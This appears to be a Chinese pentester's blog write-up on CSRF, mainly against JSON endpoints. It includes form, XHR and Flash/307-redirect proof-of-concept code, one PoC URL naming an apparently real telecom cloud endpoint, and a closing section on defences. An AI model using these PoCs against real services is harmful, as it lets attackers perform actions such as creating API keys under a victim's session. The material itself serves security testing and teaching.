一次滲透測試引發Json格式下的CSRF攻擊

0x00 前言

漏洞背景

hw時期在電信三巨頭之一旗下的子公司出差,做一下滲透測試。公網的業務主挖邏輯漏洞,但是每次挖着挖着就變成了CSRF攻擊,出差半個月算是把這輩子的CSRF都給挖完了。

testme師傅說的一句話:開發者修或不修,挖洞者覺得雞肋不雞肋,CSRF漏洞就躺着那裏。這一次的體會很深,某雲基本所有的業務邏輯都存在CSRF洞。

CSRF原理

img

還是來梳理一下大致的流程

1.用戶C瀏覽並登錄信任網站A

2.驗證通過,Web A產生一個Cookie返回給用戶C

3.用戶在沒有等處的情況下訪問Web B

4.B要求訪問第三方站點Web A,發出一個請求

5.瀏覽器帶着步驟2產生的Cookie,根據步驟4的請求訪問Web A

這就造成了一次CSRF攻擊,原理是利用目標用戶的合法身份,以用戶的名義執行非法操作

0x01 常見CSRF利用

GET型CSRF

這裏選擇DVWA的low級,可以抓包查看修改密碼的請求如下

img

可以看到發送了一個GET請求,來看看有哪些HTML元素可以實現這一請求

HTML中能夠設置src/href等鏈接地址的標籤都可以發起一個GET請求,具體如下:

<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0;url=">
<iframe src="">
<frame src="">
<script src="">
<bgsound src="">
<embed src="">
<audio src="">
<video src="">
<a href="">
<table background="">

以及CSS樣式中的:

@import ""
background:url("")
...

這裏可以直接選擇Burp Suite的Generate CSRF PoC生成

img

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.115.139:8088/dvwa/vulnerabilities/csrf/">
      <input type="hidden" name="password_new" value="123456" />
      <input type="hidden" name="password_conf" value="123456" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

當用戶在登錄狀態下打開並點擊Submit request按鈕時,便會提交修改密碼請求

img

POST型CSRF

POST型與GET型的區別就在於POST型CSRF需要構造form表單,再由JavaScript自動提交

這裏給出一個參考的攻擊頁面,當然也可以Burp Suite直接生成POC

<html>
<head>
    <title>
        post data
    </title>    
</head>
<body>
<form id="id" method="post" action="https://www.xxx.com/submit">
</form>
<script>
    var id = document.getElementById("id");
    id.submit();
</script>
</body>
</html>

0x02 真實場景利用

某雲多處POST型CSRF

創建Access Key

由於是即將上線的業務,6月22日前暫未修復,關鍵數據打馬

img

創建Access Key只是向服務器提交了一個POST請求,數據爲空,POC如下

img

當用戶在已登錄情況下打開,會創建一個Access Key

img

刪除Access Key

img

這裏由POST提交的id即爲我們之前創建的Access Key(不是上面那一個。。)

我最先測的是刪除的這個功能點,但是甲方不收,說這個id沒有辦法獲取到,後來才測了創建的那個功能點。實際上,整個系統能夠越權的地方都產生了CSRF,不能越權的地方也可以用CSRF去打,算是通病了。

POC與上面那個類似,唯一區別就是這裏帶了post數據,value替換爲相應id即可。

img

img

今天準備復現的時候發現系統已經暫時下線了,估計正在修復,所以用了之前提交的測試報告的圖。

0x03 Json格式下的CSRF

在內網測試域遇到了一個POST型CSRF,且提交的數據爲json格式

img

如果直接用常規poc的話,會導致415,poc如下

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://xxxxxx/simauth/app/updateAppInfo" method="POST" enctype="text/plain">
      <input type="hidden" name="{"appId":"300016001555","appName":"0xdawnnn"}" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

img

那我們爲何不能使用這個常規構造的PoC來利用JSON端點中的CSRF呢?原因如下:

1、POSTbody需要以JSON格式發送,而這種格式如果用HTML表單元素來構建的話會比較麻煩。

2、Content-Type頭需要設置爲application/json。設置自定義Header需要使用XMLHttpRequests,而它還會向服務器端發送OPTIONS預檢請求。

思路一:json格式閉合

我們可以抓包看一下這個poc提交的請求詳情

img

可以看到這段POST數據結尾多了一個=,這種情況下服務端的JSON解析器可能會拒絕這段JSON,因爲它不符合JSON的數據格式。 這時候我們可以給value賦值從而對=後的數據進行補全,使其構造成一個完整的json格式,可以避免解析器報錯

<input type="hidden" name='{"appId":"300016001555","appName":"0xdawnnn","test":"' value='test"}' />

img

可以看到這裏已經閉合成了一個完整的json格式的數據,但是提交數據還是會返回415.因爲在原始的數據包中Content-Typeapplication/json,而以form表單的形式去提交是沒辦法設置enctypeapplication/json的。爲了進一步驗證,修改enctypeapplication/json,再抓包查看請求詳情。

img

可以看到Content-Type自動轉換爲了application/x-www-form-urlencoded,進一步驗證

enctype改回text/plain並抓包,修改Content-Typeapplication/json

img

返回操作成功,自此可以確定服務端對Content-Type進行了校驗。

思路二:通過XHR提交

當跨域影響用戶數據HTTP請求(如用XMLHttpRequest發送post)時,瀏覽器會發送預檢請求(OPTIONS請求)給服務端徵求支持的請求方法,然後根據服務端響應允許才發送真正的請求。 然而如果服務端對Content-Type進行校驗,則不會響應這個OPTIONS請求,從而利用失敗。

所以在此場景下,這一思路是行不通的。但是更多的情況下服務端可能不會校驗Content-Type,或者不會嚴格校驗Content-Type是否爲application/json,所以很多情況下這是可用的。

XHR CSRF POC

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://www.xxxxx.com/simauth/app/updateAppInfo", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
        xhr.withCredentials = true;
        xhr.send(JSON.stringify({"appId":"300016001555","appName":"0xdawn"});
    }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();"/>
    </form>
  </body>
</html>

思路三:藉助flash,利用307跳轉實現CSRF

1.製作一個Flash文件

2.製作一個跨域XML文件

3.製作一個具有307狀態碼的php文件

已經有大牛造好輪子了,參考:https://github.com/sp1d3r/swf_json_csrf

POC

https://www.0xdawn.cn/swf_json_csrf/test.swf?endpoint=https://sim.ecloud.10086.cn:8085/simauth/app/updateAppInfo&reqmethod=POST&ct=application/json;charset=UTF-8&jsonData={%22appId%22:%22300016001555%22,%22appName%22:%220xdawn%22}&php_url=https://www.0xdawn.cn/swf_json_csrf/test.php

或者直接在ui.html頁面配置

img

整個攻擊鏈

1、受害者訪問POC,向attacter.com發起一條swf請求,swf向307.php發送HTTP POST請求。

2、attacter.com的307.php發起307跳轉,跳轉到victim.com,注意307跳轉會帶着http請求方式,header和postdata進行跳轉。

3、victim.com收到一條POST請求,並且Content-Type爲application/json。

4、victim.com收到一條/crossdomain.xml請求。由於第三步優先第四步執行,導致跨域。並且victim.com能收到crossdomain.xml請求,也證明了第三步的POST請求是Flash發出,而不是307.php發出。

img

然而在實際測試中卻並沒有起到理想中的效果,只能是記錄一下方法

0x04 防禦CSRF

檢查Referer

一般情況下,用戶提交站內請求,Referer中的來源應該是站內地址。如果發現Referer中的地址異常,就有可能遭到了CSRF攻擊。在瀏覽器客戶端層面,使用JavaScript和ActionScript已經無法修改HTTP Referer了,檢查Referer字段是個不錯的方法。

限制Cookie生命週期

CSRF產生的主要原因就是Cookie時效性未過的情況下,冒用用戶身份進行非法操作。而如果cookie失效,或者退出登錄,甚至切換一個瀏覽器,CSRF就不復存在了。限制Cookie的生命週期,一定程度上能減少被CSRF攻擊的概率。

使用驗證碼

使用驗證碼是阻斷CSRF攻擊的有效手段,在用戶進行相應操作時輸入驗證碼,可以最大限度上杜絕CSRF,唯一的缺點是會降低用戶體驗。

使用一次性token

Anti-CSRF-token是當下最流行的解決方案,在開發過程中我們可以在HTTP請求中以參數的形式加入一個隨機產生的token,並在服務端進行token校驗,如果請求中沒有token或者token內容不正確,則認爲是CSRF攻擊而拒絕該請求。

0x05 Reference

參考鏈接

談談Json格式下的CSRF攻擊

淺析CSRF漏洞的利用與防禦機制

JSON CSRF新姿勢

JSON CSRF的一個案例

參考文獻

Web前端黑客技術揭祕

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章